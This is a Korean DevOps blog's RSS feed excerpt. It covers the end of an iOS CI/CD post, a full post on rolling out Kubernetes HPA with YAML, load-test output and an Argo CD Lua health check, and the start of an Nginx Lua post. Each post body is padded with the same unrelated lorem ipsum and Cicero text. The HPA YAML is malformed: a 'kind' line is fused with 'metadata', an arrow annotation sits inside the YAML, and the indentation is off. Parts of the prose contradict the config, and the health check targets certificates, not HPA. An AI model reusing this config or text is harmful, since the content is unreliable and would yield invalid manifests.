<li><a class="wp-editor-md-post-content-link" href="https://medium.com/@manoelsrs/setting-up-a-ci-cd-pipeline-for-ios-using-fastlane-and-github-actions-in-a-flutter-project-8fd350237c33" target="_blank" rel="noopener">Setting Up a CI/CD Pipeline for iOS Using Fastlane and GitHub Actions in a Flutter Project</a></li>
<li><a class="wp-editor-md-post-content-link" href="https://medium.com/@kyuchul2/ci-cd-fastlane-github-actions%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-ios-%EB%B0%B0%ED%8F%AC-%EC%9E%90%EB%8F%99%ED%99%94-%EA%B5%AC%EC%B6%95-6c777a63aa13" target="_blank" rel="noopener">[CI/CD] fastlane + Github Actions을 이용한 iOS 배포 자동화 구축</a></li>
</ul></li>
</ul>
<h2 class="wp-block-heading">함께 보면 좋은 글</h2>
<ul class="wp-block-list"><li><a href="https://blog.wonizz.com/2023/05/09/devops-k8s-monitoring-with-datadog/">[DevOps] k8s monitoring with Datadog</a></li><li><a href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a></li><li><a href="https://blog.wonizz.com/2021/12/29/devops-k8s-monitoring-stack/">[DevOps] k8s에서의 모니터링 구성</a></li><li><a href="https://blog.wonizz.com/2021/12/20/devops-k8s-log-aggregation/">[DevOps] k8s Log 수집 시스템 구성</a></li></ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/08/21/devops-ios-build-pipeline/">[DevOps] IOS 빌드 파이프라인 구성</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2024/08/21/devops-ios-build-pipeline/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2293</post-id>	</item>
		<item>
		<title>[DevOps] Kubernetes HPA 실전 적용</title>
		<link>https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/</link>
					<comments>https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Wed, 24 Jul 2024 10:14:53 +0000</pubDate>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[kubernetes]]></category>
		<guid isPermaLink="false">https://blog.wonizz.com/?p=2278</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번 포스팅은 kubernetes hpa 에 대해서 적용했던 사례에 대해서 정리를 해보려고합니다. 이 전에 작성된 포스팅이긴 하지만, HPA의 이론에 대해서는 아래의 포스팅을 참고해주시면 됩니다. [DevOps] k8s Horizontal POD autoscaling 위의 내용중에서도 HPA(Horizontal Pod Autoscaler)를 실제 적용하는 계획과 실행에 대해서 정리를 해보려고합니다. 1. HPA 적용 목적 및 정책 필자가 운영하는 k8s에는 100여개 이상의&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/">[DevOps] Kubernetes HPA 실전 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번 포스팅은 kubernetes hpa 에 대해서 적용했던 사례에 대해서 정리를 해보려고합니다.</p>
<p>이 전에 작성된 포스팅이긴 하지만, HPA의 이론에 대해서는 아래의 포스팅을 참고해주시면 됩니다.</p>
<ul>
<li><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/05/18/devops-k8s-hpa/" title="[DevOps] k8s Horizontal POD autoscaling">[DevOps] k8s Horizontal POD autoscaling</a></li>
</ul>
<p>위의 내용중에서도 <strong>HPA(Horizontal Pod Autoscaler)</strong>를 실제 적용하는 계획과 실행에 대해서 정리를 해보려고합니다.</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_1.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 1" /></p>
<h2>1. HPA 적용 목적 및 정책</h2>
<p>필자가 운영하는 k8s에는 100여개 이상의 MSA 어플리케이션들이 서비스를 하고 있습니다. 모든 서비스들이 최적으로 운영된다면 좋겠지만 보통은 보수적으로 pod를 산정하고 리소스를 산정합니다. 자연스럽게 k8s의 리소스가 부족한 현상이 발생하기 시작했고 조치가 필요했습니다.</p>
<p>HPA의 적용 목적은 다음과 같은 내용을 기반으로 하고 있습니다.</p>
<ul>
<li>성능 유지 : 트래픽이나 요청량이 증가할 떄 추가 POD를 자동으로 생성하여 처리 능력을 높입니다.</li>
<li>리소스 최적화 : 과도한 리소스 할당을 방지하고, 리소스 사용 효율성을 높입니다.</li>
<li>자동화 및 운영 효율성 증대 : 부하 발생시 수동으로 조절하던 부분을 메트릭 측정값을 기반으로 자동 조정합니다.</li>
</ul>
<p>위의 목적에 기재 되어있듯이 <strong>리소스 최적화</strong>에도 기반을 두고 작업을 예정하게 되었습니다.</p>
<ul>
<li>HPA 적용 정책
<pre><code class="language-yaml line-numbers">apiVersion: autoscaling/v2beta2

kind: HorizontalPodAutoscalermetadata:
  name: hpa-test
  namespace: dosi-store
spec:
  scaleTargetRef:
      apiVersion: apps/v1
      kind: Deployment
      name: {{ .Values.phase }}-test-api
  minReplicas: 6
  maxReplicas: 18 <- 기존대비 3배수로 설정
  behavior:
     scaleDown:
         stabilizationWindowSeconds: 300
         policies:
        - type: Pods
          value: 2
          periodSeconds: 10
     scaleUp:
        stabilizationWindowSeconds: 30
        policies:
        - type: Percent
          value: 50
          periodSeconds: 10
        - type: Pods
          value: 4
          periodSeconds: 10
       selectPolicy: Max
  metrics:
       - type: Resource
         resource:
            name: cpu
            target:
               type: Utilization
               averageUtilization: 70
</code></pre>
<ul>
<li><strong>minReplicas</strong> : 현재의 pod 갯수</li>
<li><strong>maxReplicas</strong> : 최대 증설의 pod 갯수 ( 6 * 3 = 18개로 기준을 잡음 )</li>
<li><strong>scaleDown</strong>
<ul>
<li>10초당 2개의 pod를 감소</li>
<li>정책 적용 결정이 수행되면 5분간의 유예기간으로 메트릭을 지속 탐지함.</li>
<li>스케일 다운이 바로 일어나면 서비스에 문제가 발생할 수 있을것이라 판단하여 <strong>5분간 유예설정.</strong></li>
</ul>
</li>
<li><strong>scaleUp</strong>
<ul>
<li>10초당 현재 갯수의 50% (ex, 현재가 6개면, 3개로 계산 ) / 15초당 4개의 pod를 증가 중 더 큰 범주 선택</li>
<li>정책 적용 결정이 수행되면 30초간의 유예기간으로 메트릭을 지속 탐지함.</li>
<li>스케일 다운이 바로 일어나면 서비스에 문제가 발생할 수 있을것이라 판단하여 <strong>30초간 유예설정.</strong></li>
</ul>
</li>
<li><strong>평균 CPU 사용률 70%를 임계점</strong>으로 설정.</li>
</ul>
</li>
</ul>
<h2>2. HPA 적용 계획</h2>
<p>HPA를 적용함에 있어서 기존의 수집된 <strong>Metric</strong>을 한달 기준으로 분석을 실시했습니다. 적용 대상이 되는 어플리케이션 선정은 다음을 기준으로 선정했습니다.</p>
<ul>
<li>HPA 적용 기준
<ul>
<li>트래픽이 제일 많은 어플리케이션</li>
<li>트래픽 대비 과도하게 스케일 아웃되어있는 어플리케이션</li>
<li>현재 CPU Usage가 스케일 대비 과도하게 낮은 어플리케이션</li>
</ul>
</li>
</ul>
<p>트래픽이 많으면서(변동량이 크면서), 서버 수량은 많고 리소스는 최소로 사용하는(오버 스펙)이 되어있는 어플리케이션들의 정보를 수집했습니다.</p>
<table>
<thead>
<tr>
<th>어플리케이션</th>
<th>평균 RPS / 최고 RPS</th>
<th>Current Replicas</th>
<th>Cpu Trend</th>
<th>Target Replicas</th>
<th>비고</th>
</tr>
</thead>
<tbody>
<tr>
<td>A application</td>
<td>22.4 / 69.5 (<strong>peak시 cpu 25%</strong>)</td>
<td>12</td>
<td>Grafana 기록</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>B application</td>
<td>8.9 / 47.8(<strong>peak시 cpu 10%</strong>)</td>
<td>8</td>
<td>Grafana 기록</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>C application</td>
<td>16.7 / 53.5(<strong>peak시 cpu 10%</strong>)</td>
<td>12</td>
<td>Grafana 기록</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>D application</td>
<td>32.1 / 230.2(<strong>peak시 cpu 40%</strong>)</td>
<td>12</td>
<td>Grafana 기록</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>E application</td>
<td>30.9 / 129.4 (<strong>peak시 cpu 16%</strong> )</td>
<td>12</td>
<td>Grafana 기록</td>
<td>6</td>
<td></td>
</tr>
</tbody>
</table>
<p>위의 표와 같이 기록을 수행하여 기존의 CPU 트렌드 기반으로 목표 지점은 CPU Usage를 20 ~ 30% 를 사용하는것을 목표료 하여 <strong>Target Replicas</strong>를 지정하고 축소 계획을 세웠습니다.</p>
<p>계획은 다음 순서로 진행을 하고자 했습니다.</p>
<ul>
<li>1) HPA 설정 배포 ( 설정은 현재의 서비스에 영향을 미치지 않음. )</p>
</li>
<li>2) pod수를 스케일 다운. ( 다운시 CPU Usage 기록 )
<ul>
<li>CPU Usage의 안정 범위 : 평시에 20-30% 정도 사용.</li>
</ul>
</li>
<li>3) 적용이후에는 위의 정책을 기준으로 필요한 어플리케이션에 확장.</p>
</li>
</ul>
<h2>3. HPA 적용 테스트</h2>
<p>사전에 HPA를 적용하기 이전에 테스트를 진행했습니다. API 1개에 부하를 쏟아서 CPU 임계점을 넘어가도록 설정했습니다.</p>
<pre><code class="language-bash line-numbers">NAME               REFERENCE                TARGETS   MINPODS   MAXPODS   REPLICAS   AGE
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          11m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          11m   ← 부하 테스트 시작
alpha-test-app   Deployment/alpha-test-app   111%/70%   2         6         2          12m   ← 임계치 상향 
alpha-test-app   Deployment/alpha-test-app   111%/70%   2         6         4          12m   ← Upscale (30초 유예)
alpha-test-app   Deployment/alpha-test-app   45%/70%    2         6         4          13m   ← 임계치 하향 
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          14m 
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          15m
alpha-test-app   Deployment/alpha-test-app   2%/70%     2         6         4          16m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         4          17m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         4          18m   ← DownScale (300초 유예)
alpha-test-app   Deployment/alpha-test-app   4%/70%     2         6         2          18m
alpha-test-app   Deployment/alpha-test-app   4%/70%     2         6         2          19m
alpha-test-app   Deployment/alpha-test-app   3%/70%     2         6         2          20m
</code></pre>
<ul>
<li>Upscale 적용 후
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_2.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 2" /></p>
</li>
<li>
<p>Downscale 적용 후</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_3.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 3" /></p>
</li>
</ul>
<p>정확하게 HPA 동작에 의해 Upscale을 수행했다가 부하가 사라지면 정상화 됩니다.</p>
<ul>
<li>이슈 사항
<p>테스트를 진행하면서 이슈를 한가지 확인했는데요. 배포를 하게 되면 새로운 어플리케이션으로부터 Metric이 즉각 수집이 되지 않으면서 <strong>Degraded</strong>상태가 되는것을 확인했습니다. 따라서 Metric이 수집되지 않은 상태라면 <strong>Progressing</strong>상태로 마킹하는 내용이 필요했습니다.</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_4.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 4" /></p>
<ul>
<li>Resolve Ref : https://argo-cd.readthedocs.io/en/stable/operator-manual/health/#custom-health-checks</li>
</ul>
<pre><code class="language-yaml line-numbers">data:
  resource.customizations: |
    cert-manager.io/Certificate:
      health.lua: |
        hs = {}
        if obj.status ~= nil then
          if obj.status.conditions ~= nil then
            for i, condition in ipairs(obj.status.conditions) do
              if condition.type == "Ready" and condition.status == "False" then
                hs.status = "Degraded"
                hs.message = condition.message
                return hs
              end
              if condition.type == "Ready" and condition.status == "True" then
                hs.status = "Healthy"
                hs.message = condition.message
                return hs
              end
            end
          end
        end

        hs.status = "Progressing"
        hs.message = "Waiting for certificate"
        return hs
</code></pre>
</li>
</ul>
<h2>4. HPA 적용 효과 및 사례</h2>
<p>실제로 적용을 하고 나서는 다음의 수준으로 <strong>리소스 최적화</strong>를 할 수 있었습니다.</p>
<ul>
<li>Previous Resources<br />
<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_5.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 5" /></p>
</li>
<li>
<p>Current Resources</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2024/07/k8s_hpa_6.png?w=1200&#038;ssl=1" alt="DevOps Kubernetes HPA 실전 적용 설명 이미지 6" /></p>
</li>
</ul>
<p>CPU는 약 2%, Memory는 6.1% 가량을 최적화 했습니다. 물론 100개중에 약 5개 정도만 선제적으로 적용을 한것이라 큰 효과는 없다고 생각할 수 있습니다. 하지만 이를 통해서 HPA의 장점을 취득하고 리소스를 최적화를 할 수 있다는 것을 배울 수 있었습니다.</p>
<h2>5. 마치며..</h2>
<p>HPA를 통해서 좀더 유연한 인프라를 제공할 수 있다는 것을 알게 됐습니다. 실제로 운영하면서 여러 차례 트래픽 스파이크시에 동작하는 것을 보고서 그 효과를 체험할 수 있었습니다. k8s를 통해서 셀프 힐링, 배포 자동화 등등의 큰 장점도 있지만 트래픽에 유연하게 대응할 수 있는 인프라를 제공하는 측면도 굉장히 효과적이라고 생각합니다.</p>
<p>포스팅을 마치도록 하겠습니다. 감사합니다.</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/">[DevOps] Kubernetes HPA 실전 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2278</post-id>	</item>
		<item>
		<title>[DevOps] Nginx Lua module 사용법</title>
		<link>https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/</link>
					<comments>https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Thu, 18 Jul 2024 06:09:28 +0000</pubDate>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://blog.wonizz.com/?p=2248</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번시간에는 nginx lua module에 대해서 정리를 해보도록 하겠습니다. lua script는 이전에 nginx 관련 세미나를 들으면서 알게 됐던 내용인데요. nginx의 config에 마치 개발 코드를 작성하듯 script를 넣어서 제어할 수 있는 부분이 꽤나 인상적이였습니다. 필자의 회사에서도 nginx의 lua script를 통해서 제어가 필요한 요청을 받았습니다. 이를 해결하고자 lua module 탑재를 진행하게 됐습니다. Nginx에 관한&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
